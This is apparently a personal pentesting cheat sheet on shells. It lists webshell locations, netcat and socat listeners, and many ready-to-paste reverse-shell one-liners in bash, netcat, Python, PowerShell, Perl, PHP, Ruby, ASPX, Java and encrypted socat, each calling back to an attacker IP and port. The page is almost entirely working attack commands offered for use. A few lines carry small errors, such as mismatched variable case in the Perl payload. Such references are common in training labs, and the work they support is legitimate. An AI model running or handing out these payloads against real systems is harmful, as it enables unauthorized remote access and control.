Shells

In computing, a shell is a user interface for access to an operating system's services. In general, operating system shells use either a command-line interface or graphical user interface, depending on a computer's role and particular operation.

-- Wikipedia

General

Webshells in Kali

/usr/share/laudanum
/usr/share/webshells

GitHub - tennc/webshell: This is a webshell open source project E.g. /usr/share/webshell/asp/webshell.asp

TTY

See Terminal config & TTY

Listeners

netcat

SANS Netcat cheat sheet Note: Try common ports like 443 if not working otherwise

nc -nlvp <port>

Listening using rlwrap (makes e.g. arrow keys work in shell)

rlwrap nc -lvnp <port>

tcpdump

Listen for incoming icmp messages (like ping)

sudo tcpdump -i tun0 icmp
sudo tcpdump ip proto \\icmp -i tun0

Reverse shells

bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
"bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"
exec 5<>/dev/tcp/<ip>/<port>

netcat

nc -e /bin/sh <ip> <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Powershell

See PowerShell

Reverse shell (from https://tryhackme.com/room/introtoshells)

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

perl

perl -e 'use Socket;$I="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -I");};'

php

Linux: php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub

Windows: windows-php-reverse-shell/Reverse Shell.php at master · Dhayalanb/windows-php-reverse-shell · GitHub

php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -I <&%d >&%d 2>&%d",f,f,f)'

aspx

/usr/share/webshells/aspx/cmdasp.aspx
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("some cmd here")
o = cmd.StdOut.Readall()
Response.write(o)
%>

java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Socat

socat - Multipurpose relay

Listener

socat TCP-L:<port> -

Connect (Linux)

socat TCP:<ip>:<port> EXEC:"/bin/bash -li"

Connect (Windows)

socat TCP:<ip>:<port> EXEC:powershell.exe,pipes

Encrypted (and TTY)

Create cert

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

Listener

socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0 

Connect (Linux)

socat OPENSSL:<ip>:<port>,verify=0 EXEC:"/bin/bash -li",pty,stderr,sigint,setsid,sane

Last updated